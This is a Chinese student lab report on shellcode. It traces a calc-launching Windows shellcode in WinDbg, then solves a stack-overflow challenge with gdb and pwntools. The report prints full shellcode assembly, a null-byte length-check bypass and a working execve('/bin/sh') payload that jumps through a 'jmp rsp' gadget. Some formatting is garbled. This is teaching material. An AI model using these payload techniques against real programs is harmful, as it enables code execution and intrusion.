漏洞分析技术实验一

实验目标

掌握shellcode在漏洞利用中的基本用法及编码方法。

实验内容要求

  1. 根据实验软件SCer.exe和shellcode 代码sc1.bin,通过windbg逆向分析弹出计算器的漏洞利用详细过程,形成实验报告提交;
  2. 根据实验题目sc2,撰写详细的解题过程,至少包括漏洞成因分析、漏洞利用思路阐述,最终形成实验报告提交;

实验过程

分析sc1.bin弹出计算器的漏洞利用详细过程

实验环境

  • 操作系统:Windows XP Professional Service Pack 3
  • 工具:windbg、Scer.exe、Notepad++

步骤

  1. 使用SCer.exe测试sc1.bin文件,成功弹出计算器,说明shellcode可以运行;

    1570694705353

    1570694728011

  2. 用scer.exe先把cs1.bin文件转为字符串sc1.bin.sc文件,在最前面加上0xCC。在汇编中0xCC对应的汇编指令为int 3,该指令是系统的中断指令,可以理解为在 windbg中提前设置好了一个断点;

    1570694910561

  3. 再使用Scer.exe将更改后得sc1.bin.sc文件转换成可执行得bin文件sc1.bin.sc.mybin;

    1570695122571

  4. 打开windbg,依次选择FileOpen Executable FilesScer.exe,使用windbg调试Scer.exe,选择DebugGo,弹出Scer.exe的界面;

    1570695714811

  5. 将sc1.bin.sc.mybin文件拖入Scer.exe输入框,点击执行shellcode,运行至设置的0XCC断点处,根据断点,得到shellcode汇编代码如下;

    1570696124449

  6. 开始调试shellcode

    1. 先跳转至0x00b40057处;

      1570720367525

    2. 将地址0x69cc4e7h压入栈中;

      1570720397247

    3. 调用地址0x00b40003

      1570720439856

    4. 将esi置空;

      1570720495667

    5. fs寄存器指向TEB结构,TEB结构地址偏移0x30指向PEB结构,即将PEB结构的地址赋给esi;

      1570720534446

      其中PEB结构如下;

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      typedef struct _PEB
      {
      UCHAR InheritedAddressSpace; // 00h
      UCHAR ReadImageFileExecOptions; // 01h
      UCHAR BeingDebugged; // 02h
      UCHAR Spare; // 03h
      PVOID Mutant; // 04h
      PVOID ImageBaseAddress; // 08h
      PPEB_LDR_DATA Ldr; // 0Ch
      …………
      }PEB,*PPEB
    6. 利用PEB结构偏移0x0C找到PPEB_LDR_DATA Ldr

      1570720591411

      其中_PEB_LDR_DATA结构如下;

      1
      2
      3
      4
      5
      6
      7
      8
      9
      typedef struct _PEB_LDR_DATA
      {
      ULONG Length; // +0x00
      BOOLEAN Initialized; // +0x04
      PVOID SsHandle; // +0x08
      LIST_ENTRY InLoadOrderModuleList; // +0x0c
      LIST_ENTRY InMemoryOrderModuleList; // +0x14
      LIST_ENTRY InInitializationOrderModuleList;// +0x1c
      } PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
    7. 利用PPEB_LDR_DATA Ldr偏移0x1C找到LIST_ENTRY InInitializationOrderModuleList,它是指向LDR_MODULE链表结构中,相应的双向链表头部的指针;

      1570720625434

    8. 该动态链表按顺序存放着PE装入运行时初始化模块的信息第一个链表节点是ntdll.dll,第二个链表结点就是kernel32.dll,因此偏移0x08处为ntdll.dll地址,即ebp偏移0x08后指向ntdll.dll;

      1570720888291

    9. 将esi指向的内存的地址处的数据赋值给esi,即将链表下一节点放入esi;

      1570722168233

    10. 从ntdll.dll加载基址算起,偏移0x3c的地方就是其PE文件头,PE头偏移0x78的地方存放着指向函数导出表的指针,连续两次运算,使得ebx的值为0x00003400

      1570723107241

    11. 由于ebx的值为0x00003400test ebx,ebp结果不改变FLAG寄存器的状态,故不会进行下一步的跳转;
      1570723521474

    12. 将输出表地址存入ebx中;

      1570723747826

    13. 根据表的结构,在偏移地址0x18处存储着函数数目,把表里的函数数目放入ecx中;

      1570723703471

    14. jcxzjump if cx equals zero,当ecx=0时跳转到0x00b4000f,此时ecx不为0,故不进行跳转;

      1570724269799

    15. 导出表偏移0x20处的指针指向存储导出函数函数名的列表,将列表中第一个函数的地址赋给edi;

      1570724951706

    16. 将列表中最后一个函数的地址赋值给edi;

      1570725038291

    17. 将eax置空,用作索引;

      1570725066226

    18. 把edx的每一位变为eax的最高位,再把edx扩展为eax的高位,即变为64位;

      1570725199028

    19. 接下来几步构成了一个循环,相当于对函数名进行了一个处理,包括使得ebp中存储的地址变为kernel32.dll的地址;

      1570771191258

      1570773348206

    20. 执行到cmp ,把值和栈顶+4处,一开始入栈的值比较,一开始入栈的其实是winexc经过处理得到的值,对比不相等就再次进行循环,跳到loopne换下一个函数名;

      1570771333009

    21. 经过多次循环没找到就会跳回0x00b4000f,换一个dll继续寻找;

      1570771446664

    22. 先将数组赋值给edx,存储函数序号,再加上edp,得到函数名称列表地址,再加上ecx*2,得到目标函数序号;

      1570771910484

    23. 将edi指向一个RVA数组,再加上ebp存储的kernel32.dll的基地址,得到导出函数地址;

      1570771986846

    24. 计算出最终的目标地址;

      1570772442097

    25. 使用ret指令返回;

      1570772516947

    26. 进行一系列的函数压栈、弹栈操作;

      1570772640877

    27. 调用ebp存储的地址0x7c8623ad上存储的winExec函数;

      1570773507362

    28. 在进入winExec函数后,执行与上述寻找winexc类似的操作,这里不在叙述,直至找到调用计算器函数calc并执行弹出计算器;

      1570774960954

  7. shellcode的汇编代码及备注如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    jmp		00b40057
    xor esi,esi //将esi置空
    mov esi,dword ptr fs:[esi+30h] //将PEB结构的地址赋给esi
    mov esi,dword ptr [esi+0Ch] //将PPEB_LDR_DATA Ldr结构的地址赋给esi
    mov esi,dword ptr [esi+1Ch] //将LDR_MODULE链表地址赋给esi
    mov ebp,dword ptr [esi+8] //将ntdll.dll地址赋给ebp
    mov esi,dword ptr [esi] //将链表下一节点放入esi
    mov ebx,dword ptr [ebp+3Ch] //接下来两步将PE头存放着指向函数导出表的指针赋给ebx
    mov ebx,dword ptr [ebp+ebx+78h]
    test ebx,ebx
    je 00b400f
    add ebp,ebp //将输出表地址存入ebx中
    mov ecx,dword ptr [ebx+18h] //表里的函数数目放入ecx
    jcxz 00b400f
    mov edi,dword ptr [ebx+20h] //将列表中第一个函数的地址赋给edi
    add edi,ebp
    mov edi,dword ptr [edi+ecx*4-4] //将列表中最后一个函数的地址赋给edi
    add edi,ebp
    xor eax,eax //将eax置空,用作索引
    cdq //把edx的每一位变为eax的最高位,再把edx扩展为eax的高位,即变为64位
    add dl,byte ptr [edi] //接下来几步构成了一个循环,相当于对函数名进行了一个处理
    ror edx,4
    scas byte ptr es:[edi]
    jne 00b40035
    cmp edx,dword ptr [edi+4] //把值和栈顶+4处,一开始入栈的值比较,一开始入栈的其实是winexc经过处理得到的值,对比不相等就再次进行循环,跳到loopne换下一个函数名
    loopne 00b40027
    jne 00b4000f
    mov edx,dword ptr [ebx+24h] //先将数组赋值给edx,存储函数序号,再加上edp,得到函数名称列表地址,再加上ecx*2,得到目标函数序号
    add edx,edp
    movzx edx,word ptr [edx+ecx*2]
    mov edi,dword ptr [ebx+1Ch] //将edi指向一个RVA数组,再加上ebp存储的kernel32.dll的基地址,得到导出函数地址
    add edi,ebp
    add ebp,dword ptr [edi+edx*4] //计算出最终的目标地址
    ret //使用ret返回指令
    push 69CCC4E7h //进行一系列的函数压栈、弹栈操作
    call 00b40003
    push eax
    push 636C6163h
    mov edx,esp
    inc eax
    push eax
    push edx
    call ebp
    push 2A60A677h
    call 00b40003
    push eax
    call ebp //调用ebp存储的地址0x7c8623ad上存储的winExec函数

根据实验题目sc2,撰写详细的解题过程

实验环境

  • 操作系统:Kali Linux
  • 工具:pwntools、gdb

步骤

  1. 函数源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdbool.h>
    /*
    Discription:
    [vul]--> stack overflow vulnerability
    [solve clue]--> use bof to execute shellcode in the stack
    [writer]--> carter 2018.5.20
    */
    #define alarm_time 500
    #define filter_num 2

    void init(void)
    {
    setbuf(stdin,0);
    setbuf(stdout,0);
    setbuf(stderr,0);
    alarm(alarm_time);
    return;
    }

    void egg()
    {
    //__asm__ ("jmp *-0x30(%rsp);");
    __asm__("sub rsp,0x30;jmp rsp;");
    }

    bool check_input(char *ss)
    {
    char filter[8] = {'\xaa','\xbb'};
    for(int i=0;i<filter_num;i++)
    {
    for(int j=0;j<strlen(ss);j++)
    {
    if(ss[j]==filter[i])
    return false;
    }
    }
    return true;
    }

    void bof(void)
    {
    char content[48]={0};
    puts("Input your content: ");
    read(0,content,60);
    if(strlen(content)>=48)
    {
    puts("Detect bof!");
    exit(-1);
    }
    if(!check_input(content))
    exit(-1);
    return;

    }

    int main()
    {
    init();
    bof();
    return 0;
    }
  2. 源代码分析

    1. main函数调用init函数和bof函数;
    2. init函数的功能是初始化,设置了输入输出流和程序限定时间;
    3. bof函数:
      1. 声明一个长度位48的字符串数组;
      2. 输出字符串Input your content:
      3. 调用read函数,读取60个字符,放入字符串数组content中;
      4. 判断字符串数组content的长度是否大于48,如果超过48,则输出Detect bof!,并且异常退出;
      5. 调用check_input函数,检查字符串中是否包含\xaa\xbb,如果包含,则异常退出;
    4. egg函数通过降低地址扩展栈空间;
  3. 漏洞利用

    字符串数组content长度为48,输入的字符数为60,造成字符串溢出,可以使用0x00绕过限制48个字符的判断;

  4. 分析过程

    1. 使用checksec工具查看二进制代码的保护,Stack没有保护措施,可以利用栈溢出攻击,NX显示disabled,有执行栈上代码的权限;

      1570784221146

    2. 使用gdb调试sc2;

      1570786458697

    3. 由于在bof函数中存在输入点,因此在bof函数入口点设置断点,查看栈信息得到栈基址地址为0x7fffffffe0f0 ,栈顶地址为0x7fffffffe0e8

      1570868262705

      查看字符串溢出点的位置,构造简单的shellcode,其中使用\x00绕过长度检测;

    4. ```shell
      \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x70

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27

      ![1570868550702](https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1570868550702.png)

      5. 在gdb中执行该shellcode,出现错误,程序试图访问`0x59585756`这个地址,而该地址正是上述shellcode中的内容,在该位置填入目的地址,即可跳转到相应的地址执行代码;

      ![1570868725103](https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1570868725103.png)

      6. 查看栈信息发现栈基址地址rbp被shellcode中的内容`\x48\x49\x50\x51\x52\x53\x54\x55`覆盖,栈顶地址rsp编变成了`0x7fffffffe1a0`;

      ![1570868795483](https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1570868795483.png)

      7. 查看栈中内存情况发现输入的shellcode从地址`0x7fffffffeb0`开始存储;

      ![1570868967865](https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1570868967865.png)

      8. 由于只能修改地址的低8位, 不能修改地址的高8位,显然直接覆盖返回地址来到达相应的栈空间是不可能的,只能通过跳板指令到达相应的栈地址,搜索跳板指令,发现一个`jmp rsp`指令;

      ![1570803761072](https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1570803761072.png)

      9. 根据程序源码,这个`jmp rsp`仅存在egg函数中;

      ```c
      void egg()
      {
      //__asm__ ("jmp *-0x30(%rsp);");
      __asm__("sub rsp,0x30;jmp rsp;");
      }

      上述代码将rsp降低了0x30,到地址0x7fffffffe170处,可以设计shellcode将其覆盖;

    5. egg函数地址为0x400798sub 0x30,rsp地址为0x40079c

      1570863363546

    6. 利用pwntools的工具shellcraft生成shellcode,生成shellcode的代码shellcode.py如下

      1
      2
      3
      4
      5
      6
      7
      8
      from pwn import *
      context.arch = "amd64"
      context.os = "linux"
      payload = asm(shellcraft.amd64.linux.execve('/bin/sh\x00')) #可执行ls/cd等指令
      file = open("shellcode.txt", "w")
      file.write(payload)
      file.close()
      print(payload)
    7. 执行shellcode.py得到十六机制编码如下;

      1570808000533

    8. 由于需要绕过只能输入48个字符串和不能出现0xaa0xbb,对shellcode进一步完善如下;

      1
      \x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05\x90\x90\x90\x9c\x07\x40\x00

      其中s\x00是绕过长度检查位于0x7ffffffe0b0处,\x90用于长度填充,末尾的\x9c\x07\x04\x00sub 0x30,rsp的地址

    9. 输入命令cat shellcode - | ./sc2运行shellcode,可执行lscd等指令;

      1570869598910